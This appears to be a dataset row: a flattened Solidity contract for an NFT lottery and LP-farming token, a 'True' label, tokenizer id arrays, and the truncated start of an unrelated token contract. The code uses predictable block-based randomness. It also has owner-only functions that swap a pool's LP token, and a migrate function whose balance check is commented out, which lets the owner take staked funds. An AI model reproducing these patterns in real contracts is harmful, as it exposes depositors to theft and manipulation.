* from failing silently
*
* @param _token ERC20 token address
* @param _from source address
* @param _to target address
* @param _value transfer amount
*/
function safeTransferFrom(IERC20Token _token, address _from, address _to, uint256 _value) internal {
(bool success, bytes memory data) = address(_token).call(abi.encodeWithSelector(TRANSFER_FROM_FUNC_SELECTOR, _from, _to, _value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ERR_TRANSFER_FROM_FAILED');
}
}
// File: contracts/token/utility/TokenHolder.sol
pragma solidity 0.6.12;
/**
* @dev We consider every contract to be a 'token holder' since it's currently not possible
* for a contract to deny receiving tokens.
*
* The TokenHolder's contract sole purpose is to provide a safety mechanism that allows
* the owner to send tokens that were sent to the contract by mistake back to their sender.
*
* Note that we use the non standard ERC-20 interface which has no return value for transfer
* in order to support both non standard as well as standard token contracts.
* see https://github.com/ethereum/solidity/issues/4116
*/
contract TokenHolder is ITokenHolder, TokenHandler, Owned, Utils {
/**
* @dev withdraws tokens held by the contract and sends them to an account
* can only be called by the owner
*
* @param _token ERC20 token contract address
* @param _to account to receive the new amount
* @param _amount amount to withdraw
*/
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount)
public
virtual
override
onlyOwner
validAddress(address(_token))
validAddress(_to)
{
safeTransfer(_token, _to, _amount);
}
}
// File: contracts/token/EulerToken.sol
pragma solidity 0.6.12;
/**
* @dev Euler Token
*
* 'Owned' is specified here for readability reasons
*/
contract EulerToken is IEulerToken, Owned, ERC20Token, TokenHolder {
using SafeMath for uint256;
bool public transfersEnabled = false; // true if transfer/transferFrom are enabled, false otherwise
/**
* @dev triggered when the total supply is increased
*
* @param _amount amount that gets added to the supply
*/
event Issuance(uint256 _amount);
/**
* @dev triggered when the total supply is decreased
*
* @param _amount amount that gets removed from the supply
*/
event Destruction(uint256 _amount);
/**
* @dev initializes a new EulerToken instance
*
* @param _name token name
* @param _symbol token short symbol, minimum 1 character
*/
constructor(string memory _name, string memory _symbol)
public
ERC20Token(_name, _symbol, 0)
{
}
// allows execution only when transfers are enabled
modifier transfersAllowed {
_transfersAllowed();
_;
}
// error message binary size optimization
function _transfersAllowed() internal view {
require(transfersEnabled, "ERR_TRANSFERS_DISABLED");
}
/**
* @dev disables/enables transfers
* can only be called by the contract owner
*
* @param _disable true to disable transfers, false to enable them
*/
function disableTransfers(bool _disable) public override onlyOwner {
transfersEnabled = !_disable;
}
/**
* @dev increases the token supply and sends the new tokens to the given account
* can only be called by the contract owner
*
* @param _to account to receive the new amount
* @param _amount amount to increase the supply by
*/
function issue(address _to, uint256 _amount)
public
override
onlyOwner
validAddress(_to)
{
totalSupply = totalSupply.add(_amount);
eulerBalances[_to] = eulerBalances[_to].add(_amount);
emit Issuance(_amount);
emit Transfer(address(0), _to, _amount);
}
/**
* @dev removes tokens from the given account and decreases the token supply
* can only be called by the contract owner
*
* @param _from account to remove the amount from
* @param _amount amount to decrease the supply by
*/
function destroy(address _from, uint256 _amount) public override onlyOwner {
eulerBalances[_from] = eulerBalances[_from].sub(_amount);
totalSupply = totalSupply.sub(_amount);
emit Transfer(_from, address(0), _amount);
emit Destruction(_amount);
}
// ERC20 standard method overrides with some extra functionality
/**
* @dev send coins
* throws on any error rather then return a false flag to minimize user errors
* in addition to the standard checks, the function throws if transfers are disabled
*
* @param _to target address
* @param _value transfer amount
*
* @return true if the transfer was successful, false if it wasn't
*/
function transfer(address _to, uint256 _value)
public
override(IERC20Token, ERC20Token)
transfersAllowed
returns (bool)
{
return super.transfer(_to, _value);
}
/**
* @dev an account/contract attempts to get the coins
* throws on any error rather then return a false flag to minimize user errors
* in addition to the standard checks, the function throws if transfers are disabled
*
* @param _from source address
* @param _to target address
* @param _value transfer amount
*
* @return true if the transfer was successful, false if it wasn't
*/
function transferFrom(address _from, address _to, uint256 _value)
public
override(IERC20Token, ERC20Token)
transfersAllowed
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
}
// File: contracts/EulersFormula.sol
pragma solidity 0.6.12;
interface IMigratorEulersFormula {
// Perform LP token migration from legacy UniswapV2 to ESwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to UniswapV2 LP tokens.
// ESwap must mint EXACTLY the same amount of ESwap LP tokens or
// else something bad will happen. Traditional UniswapV2 does not
// do that so be careful!
function migrate(IERC20 token) external returns (IERC20);
}
/**
Copyright 2020 PoolTogether Inc.
This file is part of PoolTogether.
PoolTogether is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation under version 3 of the License.
PoolTogether is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with PoolTogether. If not, see <https://www.gnu.org/licenses/>.
*/
/**
* @author Brendan Asselstine
* @notice A library that uses entropy to select a random number within a bound. Compensates for modulo bias.
* @dev Thanks to https://medium.com/hownetworks/dont-waste-cycles-with-modulo-bias-35b6fdafcf94
*/
library UniformRandomNumber {
/// @notice Select a random number without modulo bias using a random seed and upper bound
/// @param _entropy The seed for randomness
/// @param _upperBound The upper bound of the desired number
/// @return A random number less than the _upperBound
function uniform(uint256 _entropy, uint256 _upperBound) internal pure returns (uint256) {
require(_upperBound > 0, "UniformRand/min-bound");
uint256 min = -_upperBound % _upperBound;
uint256 random = _entropy;
while (true) {
if (random >= min) {
break;
}
random = uint256(keccak256(abi.encodePacked(random)));
}
return random % _upperBound;
}
}
contract Formula is EulerToken("Euler's Formula", "EULER") {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Airdrop list
address[] public airdropList;
// Only deposit user can get airdrop.
mapping(address => bool) addressAvailable;
mapping(address => bool) addressAvailableHistory;
// Claimable enft of user.
struct UserEnftInfo {
uint256 amount;
}
// Info of each user that claimable enft.
mapping (address => mapping (uint256 => UserEnftInfo)) public userEnftInfo;
// Info of each enft.
struct EnftInfo {
uint256 enftID; // Enft's ID.
uint256 amount; // Distribution amount.
uint256 fixedPrice; // Claim the enft need pay some wETH.
}
// Info of each enft.
EnftInfo[] public enftInfo;
// Total enft amount.
uint256 public totalEnftAmount = 0;
// Original total enft amount.
uint256 public originalTotalEnftAmount = 0;
// Draw Fusion
uint256 public eulersFused = 1000 * (10 ** 18);
// Base number
uint256 public base = 10 ** 6;
// Claim fee is 3%.
// Pool's fee 1%. Artist's fee 2%.
uint256 public totalFee = 3 * (base) / 100;
// Enft token.
IETradingNFT ETradingNFT;
event Reward(address indexed user, uint256 indexed enftID);
event AirDrop(address indexed user, uint256 indexed enftID);
function enftLength() public view returns (uint256) {
return enftInfo.length;
}
function eulerBalanceOf(address tokenOwner) public view returns (uint256) {
return eulerBalances[tokenOwner];
}
function userEnftBalanceOf(address tokenOwner, uint256 _enftID) public view returns (uint256) {
return userEnftInfo[tokenOwner][_enftID].amount;
}
function userUnclaimEnft(address tokenOwner) public view returns (uint256[] memory) {
uint256[] memory userEnft = new uint256[](enftInfo.length);
for(uint i = 0; i < enftInfo.length; i++) {
userEnft[i] = userEnftInfo[tokenOwner][i].amount;
}
return userEnft;
}
function enftBalanceOf(uint256 _enftID) public view returns (uint256) {
return enftInfo[_enftID].amount;
}
// Set setEulersFused. Can only be called by the owner.
function setEulersFused(uint256 _newEulersFused) public onlyOwner {
eulersFused = _newEulersFused;
}
// Set setTotalFee. Can only be called by the owner.
function setTotalFee(uint256 _newTotalFee) public onlyOwner {
totalFee = _newTotalFee;
}
// Add a new enft. Can only be called by the owner.
function addEnft(uint256 _enftID, uint256 _amount, uint256 _fixedPrice) external onlyOwner {
require(_amount.add(ETradingNFT.totalSupply(_enftID)) <= ETradingNFT.maxSupply(_enftID), "Max supply reached");
totalEnftAmount = totalEnftAmount.add(_amount);
originalTotalEnftAmount = originalTotalEnftAmount.add(_amount);
enftInfo.push(EnftInfo({
enftID: _enftID,
amount: _amount,
fixedPrice: _fixedPrice
}));
}
// Update enft.
// It's always decrease.
function _updateEnft(uint256 _wid, uint256 amount) internal {
EnftInfo storage enft = enftInfo[_wid];
enft.amount = enft.amount.sub(amount);
totalEnftAmount = totalEnftAmount.sub(amount);
}
// Update user enft
function _addUserEnft(address user, uint256 _wid, uint256 amount) internal {
UserEnftInfo storage userEnft = userEnftInfo[user][_wid];
userEnft.amount = userEnft.amount.add(amount);
}
function _removeUserEnft(address user, uint256 _wid, uint256 amount) internal {
UserEnftInfo storage userEnft = userEnftInfo[user][_wid];
userEnft.amount = userEnft.amount.sub(amount);
}
// Draw main function
function _draw() internal view returns (uint256) {
uint256 seed = uint256(keccak256(abi.encodePacked(now, block.difficulty, msg.sender)));
uint256 rnd = UniformRandomNumber.uniform(seed, totalEnftAmount);
// Sort by rarity. Avoid gas attacks, start from the tail.
for(uint i = enftInfo.length - 1; i > 0; --i){
if(rnd < enftInfo[i].amount){
return i;
}
rnd = rnd - enftInfo[i].amount;
}
// should not happen.
return uint256(-1);
}
// Draw a enft
function draw() external {
// EOA only
require(msg.sender == tx.origin);
require(eulerBalances[msg.sender] >= eulersFused, "Eulers are not enough.");
eulerBalances[msg.sender] = eulerBalances[msg.sender].sub(eulersFused);
uint256 _rwid = _draw();
// Reward reduced
_updateEnft(_rwid, 1);
_addUserEnft(msg.sender, _rwid, 1);
emit Reward(msg.sender, _rwid);
}
// Airdrop by owner
function airDrop() external onlyOwner {
uint256 _rwid = _draw();
// Reward reduced
_updateEnft(_rwid, 1);
uint256 seed = uint256(keccak256(abi.encodePacked(now, _rwid)));
bool status = false;
uint256 rnd = 0;
while (!status) {
rnd = UniformRandomNumber.uniform(seed, airdropList.length);
status = addressAvailable[airdropList[rnd]];
seed = uint256(keccak256(abi.encodePacked(seed, rnd)));
}
_addUserEnft(airdropList[rnd], _rwid, 1);
emit AirDrop(airdropList[rnd], _rwid);
}
// Airdrop by user
function airDropByUser() external {
// EOA only
require(msg.sender == tx.origin);
require(eulerBalances[msg.sender] >= eulersFused, "Eulers are not enough.");
eulerBalances[msg.sender] = eulerBalances[msg.sender].sub(eulersFused);
uint256 _rwid = _draw();
// Reward reduced
_updateEnft(_rwid, 1);
uint256 seed = uint256(keccak256(abi.encodePacked(now, _rwid)));
bool status = false;
uint256 rnd = 0;
while (!status) {
rnd = UniformRandomNumber.uniform(seed, airdropList.length);
status = addressAvailable[airdropList[rnd]];
seed = uint256(keccak256(abi.encodePacked(seed, rnd)));
}
_addUserEnft(airdropList[rnd], _rwid, 1);
emit AirDrop(airdropList[rnd], _rwid);
}
// pool's fee & artist's fee
function withdrawFee() external onlyOwner {
msg.sender.transfer(address(this).balance);
}
// Compute claim fee.
function claimFee(uint256 _wid, uint256 amount) public view returns (uint256){
EnftInfo storage enft = enftInfo[_wid];
return amount * enft.fixedPrice * (totalFee) / (base);
}
// User claim enft.
function claim(uint256 _wid, uint256 amount) external payable {
UserEnftInfo storage userEnft = userEnftInfo[msg.sender][_wid];
require(amount > 0, "amount must not zero");
require(userEnft.amount >= amount, "amount is bad");
require(msg.value == claimFee(_wid, amount), "need payout claim fee");
_removeUserEnft(msg.sender, _wid, amount);
ETradingNFT.mint(msg.sender, _wid, amount, "");
}
}
contract EulersFormula is Formula {
// Info of each user.
struct UserLPInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardEULER; // Reward euler.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. EULERs to distribute per block.
uint256 lastRewardBlock; // Last block number that EULERs distribution occurs.
uint256 accEULERPerShare; // Accumulated EULERs per share, times 1e12. See below.
}
// Dev address.
address public devaddr;
// Block number when bonus EARN period ends.
uint256 public bonusEndBlock;
// EULER tokens created per block.
uint256 public eulerPerBlock = 3141592653589793238; //18 decimals
// Bonus muliplier for early euler seekers.
uint256 public bonusMultiplier = 2718281828459045235; //18 decimals
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorEulersFormula public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserLPInfo)) public userLPInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when EULER mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
IETradingNFT _ETradingNFT,
address _devaddr,
uint256 _startBlock,
uint256 _bonusEndBlock
) public {
ETradingNFT = _ETradingNFT;
devaddr = _devaddr;
startBlock = _startBlock;
bonusEndBlock = _bonusEndBlock;
enftInfo.push(EnftInfo({
enftID: 0,
amount: 0,
fixedPrice: 0
}));
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accEULERPerShare: 0
}));
}
// Update the given pool's Eulers allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set eulerPerBlock. Can only be called by the owner.
function setEULERPerBlock(uint256 _eulerPerBlock) public onlyOwner {
eulerPerBlock = _eulerPerBlock;
}
// Set startBlock. Can only be called by the owner.
function setStartBlock(uint256 _startBlock) public onlyOwner {
startBlock = _startBlock;
}
// Set bonusEndBlock. Can only be called by the owner.
function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner {
bonusEndBlock = _bonusEndBlock;
}
// Set bonusMultiplier. Can only be called by the owner.
function setBonusMultiplier(uint256 _bonusMultiplier) public onlyOwner {
bonusMultiplier = _bonusMultiplier;
}
// Set newLpToken. Can only be called by the owner.
function setNewLpToken(uint _pid, IERC20 _newLpToken) public onlyOwner {
PoolInfo storage pool = poolInfo[_pid];
pool.lpToken = _newLpToken;
}
// Set newAllocPoint. Can only be called by the owner.
function setNewAllocPoint(uint _pid, uint256 _newAllocPoint) public onlyOwner {
PoolInfo storage pool = poolInfo[_pid];
pool.allocPoint = _newAllocPoint;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorEulersFormula _migrator) public onlyOwner {
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can only be called by the owner. We trust that migrator contract is good.
function migrate(uint256 _pid) public onlyOwner {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
//check balance equivalence on Migrator side
//require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(bonusMultiplier);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(bonusMultiplier).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending Eulers on frontend.
function pendingEULER(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserLPInfo storage user = userLPInfo[_pid][_user];
uint256 accEULERPerShare = pool.accEULERPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 eulerReward = multiplier.mul(eulerPerBlock).mul(pool.allocPoint).div(totalAllocPoint).div(1e18);
accEULERPerShare = accEULERPerShare.add(eulerReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accEULERPerShare).div(1e12).sub(user.rewardEULER);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 eulerReward = multiplier.mul(eulerPerBlock).mul(pool.allocPoint).div(totalAllocPoint).div(1e18);
issue(devaddr, eulerReward);
issue(address(this), eulerReward);
pool.accEULERPerShare = pool.accEULERPerShare.add(eulerReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to Formula for EULER allocation.
function deposit(uint256 _pid, uint256 _amount) public {
// EOA only
require(msg.sender == tx.origin);
PoolInfo storage pool = poolInfo[_pid];
UserLPInfo storage user = userLPInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accEULERPerShare).div(1e12).sub(user.rewardEULER);
if(pending > 0) {
safeEulerTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardEULER = user.amount.mul(pool.accEULERPerShare).div(1e12);
if (user.amount > 0){
addressAvailable[msg.sender] = true;
if(!addressAvailableHistory[msg.sender]){
addressAvailableHistory[msg.sender] = true;
airdropList.push(msg.sender);
}
}
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from Formula.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserLPInfo storage user = userLPInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accEULERPerShare).div(1e12).sub(user.rewardEULER);
if(pending > 0) {
safeEulerTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardEULER = user.amount.mul(pool.accEULERPerShare).div(1e12);
if (user.amount == 0){
addressAvailable[msg.sender] = false;
}
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserLPInfo storage user = userLPInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardEULER = 0;
addressAvailable[msg.sender] = false;
}
// Safe euler transfer function, just in case if rounding error causes pool to not have enough EULERs.
function safeEulerTransfer(address _to, uint256 _amount) internal {
uint256 eulerBal = eulerBalanceOf(address(this));
if (_amount > eulerBal) {
transfer(_to, eulerBal);
} else {
transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
} | True | [
101,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
2003,
2059,
2139,
29510,
2013,
1996,
20587,
1005,
1055,
1008,
21447,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-10-02
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-02
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract UchihaFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
